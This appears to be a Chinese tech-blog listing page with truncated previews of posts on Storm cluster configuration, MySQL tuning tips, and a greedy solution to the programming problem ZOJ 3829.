Storm0.9.5的集群部署配置优化
roadrunners
优化 storm.yaml
nimbus结点配置(storm.yaml)信息:
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的,它的速度很慢。 3. 使用电池供电的RAM(注:RAM即随机存储器)。 4. 使用高级的RAID(注:Redundant Arrays of Inexpensive Disks,即磁盘阵列
zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接:zoj 3829 Known Notation
题目大意:给定一个不完整的后缀表达式,要求有2种不同操作,用尽量少的操作使得表达式完整。
解题思路:贪心,数字的个数要要保证比∗的个数多1,不够的话优先补在开头是最优的。然后遍历一遍字符串,碰到数字+1,碰到∗-1,保证数字的个数大于等1,如果不够减的话,可以和最后面的一个数字交换位置(用栈维护十分方便),因为添加和交换代价都是1